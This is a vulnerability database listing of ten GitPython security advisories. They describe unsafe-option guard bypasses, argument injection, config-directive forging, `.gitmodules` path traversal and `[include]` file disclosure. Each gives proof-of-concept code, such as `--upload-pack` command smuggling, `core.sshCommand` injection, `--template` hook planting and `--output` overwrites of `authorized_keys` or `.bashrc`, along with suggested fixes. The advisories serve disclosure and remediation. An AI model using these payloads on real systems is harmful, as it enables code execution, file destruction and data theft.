| High | 8.6 | EPSS 0.2% | CVE-2026-78675cf2tf · GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules High8.6EPSS 0.2%GCVE DatabaseCVE-2026-78675 # [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`) - **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path) - **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability `GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` ("Disable merge_includes in config writers"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`). That fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo's submodule configuration — `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` — via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` — **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository. `GitConfigParser.read()`'s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`'d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` — a readability check, not a path restriction. Once opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header — true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) — it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python's stdlib formats this exception's `str()` as `"File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line)` — it embeds the **verbatim content** of that file's first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call. ## Root cause Parity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` — which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/<name>/config` — a different, locally-generated file — has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.) ## Exploit path 1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus: ``` [include] path = /etc/passwd ``` (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too). 2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) — no `update()`, `init()`, or checkout of any kind required. 3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`'s first line verbatim. 4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error). ## Impact Non-blind local file content disclosure (first line) of any file readab | GCVE Database | ||
| High | 8.4 | EPSS 0.4% | CVE-2026-76222cf2tf · GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in High8.4EPSS 0.4%GCVE DatabaseCVE-2026-76222 ### Summary GitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check. ### Details `src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule "` / `"` wrapper from a `.gitmodules` `[submodule "..."]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, "modules", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for. ### PoC 1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): ```bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc ``` (Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.) 4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim: ```python """GHSA-001 PoC: GitPython side. Clones the attacker repo and runs the equivalent of `git submodule update --init` via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil import git CLONE_DIR = '/work/victim_clone/repo' ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root' def main(): shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True) shutil.rmtree(ESCAPE_TARGET, ignore_errors=True) os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True) print(f'GitPython version: {git.__version__}') repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR) print('Cloned into:', repo.working_tree_dir) sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path)) print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET)) for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e)) exists = os.path.exists(ESCAPE_TARGET) print('escape_target exists after update:', exists) if exists: print('escape_target contents:', os.listdir(ESCAPE_TARGET)) print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE') if __name__ == '__main__': main() ``` 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): ``` === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victim_clone/repo submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir' submodule path: 'legit_dir' escape_target exists before update: False escape_target exists after update: True escape_target contents: ['modules_dir'] POC_RESULT=VULNERABLE === Control: real git CLI on identical repo === warning: ignoring suspicious submodule | GCVE Database | ||
| High | 8.7 | EPSS 0.8% | CVE-2026-76221cf2tf · GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged High8.7EPSS 0.8%GCVE DatabaseCVE-2026-76221 ## Summary GitPython's config-name validator only neutralizes CR/LF/NUL for the `"option"` label; it does not reject `=`, `#`, `;`, `[`, `]`, or whitespace in an **option name**. `write_section` writes the option name verbatim into the config file, so an option name such as `sshCommand = touch <cmd> #` is written as `\tsshCommand = touch <cmd> # = <value>`, which git parses as `core.sshCommand = touch <cmd>` (the trailing `#` comments out the intended value). This forges arbitrary config directives (`core.sshCommand`, `core.hooksPath`, `alias.*`) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (`=`/`#`/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection). ## Root Cause `_assure_config_name_safe(name, label)` (`git/config.py:897`) applies the bracket/quote state machine ONLY when `label == "section"`; for the `"option"` label it falls through with just the `UNSAFE_CONFIG_CHARS_RE = [\r\n\x00]` regex. `write_section` then writes the option name verbatim into `"\t%s = %s\n"` (config.py:702). ## Impact Arbitrary git-config directive injection → remote code execution via `core.sshCommand` (fires on any ssh git operation, no staged file needed) or `core.hooksPath` (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration. ## Proof of Concept ```python with repo.config_writer() as cw: cw.set_value("core", "sshCommand = touch /tmp/RCE #", "x") # git config --get core.sshCommand -> touch /tmp/RCE ``` ## Attack Chain 1. Entry: app calls config writer with attacker-controlled OPTION name: `set_value("core", "sshCommand = touch /tmp/RCE #", "x")`. 2. Check: `_assure_config_name_safe(option, "option")` @ config.py. Guard: regex matches only `[\r\n\x00]`; bracket/quote state machine is gated on `label=="section"`. Bypass proof: `=`,`#`,space pass → no `ValueError`. 3. Sink: `write_section` writes `"\tsshCommand = touch /tmp/RCE # = x\n"` (config.py:702). 4. Impact: git parses `core.sshCommand=touch /tmp/RCE` → arbitrary code execution on next git op. ## Bypass Evidence Independently reproduced (gate harness): `set_value('core','sshCommand = touch <RCE> #','x')` → no `ValueError`; file line `sshCommand = touch <RCE> # = x`; `git config --get core.sshCommand` → `touch <RCE>` (rc=0). Also verified `core.hooksPath` via both `GitConfigParser` and `repo.config_writer()`. Fix-commit read: bracket/quote checks are inside `if label == "section"`; the `"option"` label is not covered. ## Affected Versions `GitPython <= 3.1.57` (validator present verbatim on the latest release tag). ## Suggested Fix Apply the section-name safety checks (reject `=`, `#`, `;`, `[`, `]`, whitespace) to the `"option"` label as well, or validate the fully-rendered config line after substitution. --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database | ||
| High | 8.7 | EPSS 0.9% | CVE-2026-76220cf2tf · GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables High8.7EPSS 0.9%GCVE DatabaseCVE-2026-76220 ## Summary The `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n<value>` argv token that git parses as `--upload-pack=<cmd>`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True. ## Root Cause `_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the JOINED token `-nutouch <cmd>;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u<cmd>` = `--upload-pack=<cmd>` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it. ## Impact Arbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts). ## Proof of Concept ```python from git import Repo Repo.clone_from(src, dst, n="utouch /tmp/ACE;git-upload-pack", split_single_char_options=False) # /tmp/ACE created -> ACE ``` ## Attack Chain 1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`. 2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`. 3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>']`. 4. Impact: git clusters `-n` + `-u<cmd>` → runs upload-pack command → ACE. ## Bypass Evidence Independently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`. ## Affected Versions `GitPython <= 3.1.57` (code present verbatim on the latest release tag). ## Suggested Fix Make `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n<value>` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | CVE-2026-76217GitPython · Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout() High7.1EPSS 0.4%GCVE DatabaseCVE-2026-76217 ## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ## Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ## Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ## Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ## Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered. | GCVE Database | ||
| High | 7.7 | EPSS 0.8% | CVE-2026-76218Repo.init enables arbitrary command execution · GitPython: Unguarded git option forwarding High7.7EPSS 0.8%GCVE DatabaseCVE-2026-76218 ## Summary `Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=<dir>` copies `<dir>/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix. ## Root Cause `Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`. ## Impact Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all. ## Proof of Concept ```python # attacker stages /evil/hooks/post-commit (executable) from git import Repo Repo.init(path, template="/evil") # next commit runs /evil/hooks/post-commit -> ACE ``` ## Attack Chain 1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`. 2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`. 3. Sink: git copies `/evil/hooks/post-commit` → `<repo>/.git/hooks/post-commit`. 4. Impact: next commit runs the hook → arbitrary code execution. ## Bypass Evidence Independently reproduced (gate harness): `Repo.init(dst, template='<evil>')` → argv `['git','init','--template=<evil>']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=<path>` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only). ## Affected Versions `GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag). ## Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options). --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database | ||
| High | 7.2 | EPSS 0.5% | CVE-2026-76219IndexFile.from_tree/reset/merge_tree enables arbitrary file · GitPython: Unguarded git read-tree option forwarding High7.2EPSS 0.5%GCVE DatabaseCVE-2026-76219 ## Summary `IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=<file>` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed). ## Root Cause `from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional. ## Impact Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration. ## Proof of Concept ```python IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc") # target overwritten with a valid git-index blob (DIRC...) ``` ## Attack Chain 1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish="--index-output=/home/victim/.bashrc"`. 2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`. 3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=<tmp>','--index-output=/…/victim']` (last-wins). 4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed. ## Bypass Evidence Independently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=<victim>')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\x00\x00\x00\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD. ## Affected Versions `GitPython <= 3.1.57` (sinks present verbatim on the latest release tag). ## Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink. | GCVE Database | ||
| High | 8.7 | EPSS 0.9% | CVE-2026-73625cf2tf · GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command High8.7EPSS 0.9%GCVE DatabaseCVE-2026-73625 ## Summary GitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`. ## Root Cause The guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {"n":"--upload-pack=<cmd>"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token. ## Impact Arbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`. ## Proof of Concept ```python from git import Repo Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack") # /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED. ``` File-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated. ## Attack Chain 1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live). 2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens. 3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector. ## Affected Versions `<= 3.1.53` ## Suggested Fix Make `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database | ||
| High | 7.2 | EPSS 0.6% | CVE-2026-73624cf2tf · GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and High7.2EPSS 0.6%GCVE DatabaseCVE-2026-73624 ## Summary `Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=<path>` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite. ## Root Cause `diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key. ## Impact Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints. ## Proof of Concept ```python # Key-control: commit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified) # Value-control (attacker controls only the ref string): commit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -> 146 bytes of diff-tree output ``` ## Attack Chain 1. Entry (value-control): `commit.diff(other=<user ref>)` with `other = "--output=/home/app/.ssh/authorized_keys"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265. 2. Sink: `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live. ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option. --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-73621cf2tf · GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count Medium5.3EPSS 0.4%GCVE DatabaseCVE-2026-73621 ## Summary `Commit.count()` forwards `**kwargs` into `rev_list` with **no** `check_unsafe_options` guard (the guard exists only in the sibling `iter_items`, commit.py:341). `git rev-list --output=<path>` opens and truncates the target file to 0 bytes before revision parsing, so `count(output='/victim')` destroys/blanks an arbitrary file. ## Root Cause `commit.py:290-291` calls `self.repo.git.rev_list(self.hexsha, **kwargs)` with no `check_unsafe_options` and no `allow_unsafe_options` parameter. The sibling `iter_items` (commit.py:341) is guarded; `count` is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed `iter_commits`/`blame`, not `count`. ## Impact Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (`count` uses `self.hexsha`, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM. ## Proof of Concept ```python commit.count(output='/path/to/victim') # victim truncated to 0 bytes (verified) # control: commit.iter_commits(output=...) raises UnsafeOptionError ``` ## Attack Chain 1. Entry: app forwards user options -> `commit.count(output='/victim')`. Guard: none. Bypass proof: `iter_commits(output=)` raises UnsafeOptionError; `count(output=)` does not — verified side-by-side. 2. Sink: `git rev-list <sha> --output=/victim` -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file. ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): `count(output=<victim>)` truncated a pre-existing file to 0 bytes; guarded `iter_commits(output=)` raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v's `archive(**kwargs)`. Uncovered sink, not a duplicate. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `check_unsafe_options` to `Commit.count` (mirroring `iter_items`). --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database | ||
